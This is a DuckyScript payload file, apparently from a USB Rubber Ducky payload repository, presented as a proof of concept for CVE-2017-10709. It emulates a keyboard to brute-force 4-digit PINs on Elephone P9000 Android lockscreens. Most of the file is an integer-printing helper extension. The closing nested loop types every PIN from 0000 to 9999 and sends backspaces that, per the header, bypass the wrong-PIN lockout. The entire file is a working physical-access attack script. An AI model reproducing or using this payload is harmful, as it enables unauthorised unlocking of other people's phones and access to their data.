Path: blob/master/payloads/library/mobile/Android/Android_HID_BruteForceCode/BruteForce4Backspace.txt
3131 views
ATTACKMODE HID1REM TITLE: Brute Force2REM AUTHOR: Cribbit3REM DESCRIPTION: POC of CVE-2017-10709 using a Ducky. The lockscreen on Elephone P9000 devices (running Android 6.0) allows physically proximate attackers to bypass a wrong-PIN lockout feature by pressing backspace after each PIN guess.4REM PROPS: Kalani & Shinichi Kudo5DELAY 300067EXTENSION TRANSLATE8REM VERSION 1.0910REM This extension acts as a library or collection of helper functions11REM to work with converting variables in your payloads.12REM WHY:13REM Of the many ways to get information about the state of your payload14REM is by injecting static strings effectively as debugging prints15REM However, given the non-static nature of payloads using variables in16REM DuckyScript 3.0 - the ability to decode variables during payload17REM execution and print (inject) representations of their current state18REM can often be a critically helpful development and debugging tool.1920REM Available Functions:21REM TRANSLATE_INT() - var to decimal string - set $INPUT prior to call22REM TRANSLATE_HEX() - var to hexidecimal string - set $INPUT prior to call23REM TRANSLATE_BINARY() - var to binary string - set $INPUT prior to call24REM TRANSLATE_BOOL() - var to boolean string - set $INPUT prior to call2526REM USAGE:27REM set $INPUT to desired var28REM call the correct translate_ function for the expected data type e.g.29REM VAR $myVar = 123430REM $INPUT = $myVar31REM TRANSLATE_INT()32REM REM the above code will inject 12343334REM begin extension variables35DEFINE PRINT_INT 036DEFINE PRINT_HEX 137VAR $DIGIT_PRINT_MODE = PRINT_INT38VAR $D = 039VAR $IN = 040VAR $INPUT = 041VAR $MOD = 042VAR $P = FALSE43VAR $NL = TRUE44REM end extension variables4546REM REQUIRED for INT/HEX - convert int to char47FUNCTION PRINTDIGIT()48IF ($D == 0) THEN49STRING 050ELSE IF ($D == 1) THEN51STRING 152ELSE IF ($D == 2) THEN53STRING 254ELSE IF ($D == 3) THEN55STRING 356ELSE IF ($D == 4) THEN57STRING 458ELSE IF ($D == 5) THEN59STRING 560ELSE IF ($D == 6) THEN61STRING 662ELSE IF ($D == 7) THEN63STRING 764ELSE IF ($D == 8) THEN65STRING 866ELSE IF ($D == 9) THEN67STRING 968ELSE IF ($DIGIT_PRINT_MODE == PRINT_HEX) THEN69IF ($D == 10) THEN70STRING A71ELSE IF ($D == 11) THEN72STRING B73ELSE IF ($D == 12) THEN74STRING C75ELSE IF ($D == 13) THEN76STRING D77ELSE IF ($D == 14) THEN78STRING E79ELSE IF ($D == 15) THEN80STRING F81END_IF82ELSE83STRING ?84END_IF85END_FUNCTION8687REM REQUIRED for INT/HEX- consumes a character / place from the input88FUNCTION CONSUME()89$D = 090WHILE ($INPUT >= $MOD)91$D = ($D + 1)92$INPUT = ($INPUT - $MOD)93END_WHILE94IF (($D > 0) || ($P == TRUE)) THEN95$P = TRUE96PRINTDIGIT()97END_IF98END_FUNCTION99100REM ENDIAN SWAPPER helper, (useful for working with VID/PID)101FUNCTION SWAP_ENDIAN()102$INPUT = ((($INPUT >> 8) & 0x00FF) | (($INPUT << 8) & 0xFF00))103END_FUNCTION104105REM Translates a variable of presumed integer type and attempts to convert106REM and inject a DECIMAL string representation107FUNCTION TRANSLATE_INT()108$DIGIT_PRINT_MODE = PRINT_INT109$P = FALSE110IF ( $INPUT >= 10000) THEN111$MOD = 10000112CONSUME()113END_IF114IF (($INPUT >= 1000) || ($P == TRUE)) THEN115$MOD = 1000116CONSUME()117END_IF118IF (($INPUT >= 100) || ($P == TRUE)) THEN119$MOD = 100120CONSUME()121END_IF122IF (($INPUT >= 10) || ($P == TRUE)) THEN123$MOD = 10124CONSUME()125END_IF()126$D = $INPUT127PRINTDIGIT()128IF $NL THEN129ENTER130END_IF131END_FUNCTION132133REM Translates a variable of presumed boolean type and attempts to convert134REM and inject a BOOLEAN string representation135FUNCTION TRANSLATE_BOOL()136IF $INPUT THEN137STRING TRUE138ELSE139STRING FALSE140END_IF141IF $NL THEN142ENTER143END_IF144END_FUNCTION145146REM Translates a variable of presumed integer type and attempts to convert147REM and inject a HEX string representation148FUNCTION TRANSLATE_HEX()149$DIGIT_PRINT_MODE = PRINT_HEX150VAR $chars = 0151VAR $d1 = 0152VAR $d2 = 0153VAR $d3 = 0154VAR $d4 = 0155WHILE ($INPUT > 0)156IF ($chars == 0) THEN157$d1 = ($INPUT % 16)158ELSE IF ($chars == 1) THEN159$d2 = ($INPUT % 16)160ELSE IF ($chars == 2) THEN161$d3 = ($INPUT % 16)162ELSE IF ($chars == 3) THEN163$d4 = ($INPUT % 16)164END_IF165$chars = ($chars + 1)166$INPUT = ($INPUT / 16)167END_WHILE168VAR $i = 0169STRING 0x170IF ($chars == 0) THEN171STRING 0x0000172ELSE IF ($chars == 1) THEN173STRING 000174$D = $d1175PRINTDIGIT()176ELSE IF ($chars == 2) THEN177STRING 00178$D = $d2179PRINTDIGIT()180$D = $d1181PRINTDIGIT()182ELSE IF ($chars == 3) THEN183STRING 0184$D = $d3185PRINTDIGIT()186$D = $d2187PRINTDIGIT()188$D = $d1189PRINTDIGIT()190ELSE IF ($chars == 4) THEN191STRING 0192$D = $d4193PRINTDIGIT()194$D = $d3195PRINTDIGIT()196$D = $d2197PRINTDIGIT()198$D = $d1199PRINTDIGIT()200END_IF201IF $NL THEN202ENTER203END_IF204END_FUNCTION205206REM Translates a variable of presumed integer type and attempts to convert207REM and inject a BINARY string representation208FUNCTION TRANSLATE_BINARY()209VAR $I = 16210WHILE ( $I > 0 )211$I = ($I - 1)212IF (($INPUT & 0x8000) == 0 ) THEN213STRING 0214ELSE215STRING 1216END_IF217$INPUT = ($INPUT << 1)218END_WHILE219IF $NL THEN220ENTER221END_IF222END_FUNCTION223END_EXTENSION224REM Turn off TRANSLATE newline225$NL = FALSE226VAR $Frist = 0227VAR $Second = 0228VAR $Third = 0229VAR $Forth = 0230231WHILE ($Frist < 10)232$INPUT = $Frist233TRANSLATE_INT()234$Second = 0235WHILE ($Second < 10)236$INPUT = $Second237TRANSLATE_INT()238$Third = 0239WHILE ($Third < 10)240$INPUT = $Third241TRANSLATE_INT()242$Forth = 0243WHILE ($Forth < 10)244$INPUT = $Forth245TRANSLATE_INT()246$Forth = ($Forth + 1)247DELAY 1000248BACKSPACE249END_WHILE250$Third = ($Third + 1)251BACKSPACE252END_WHILE253$Second = ($Second + 1)254BACKSPACE255END_WHILE256$Frist = ($Frist + 1)257BACKSPACE258END_WHILE259260261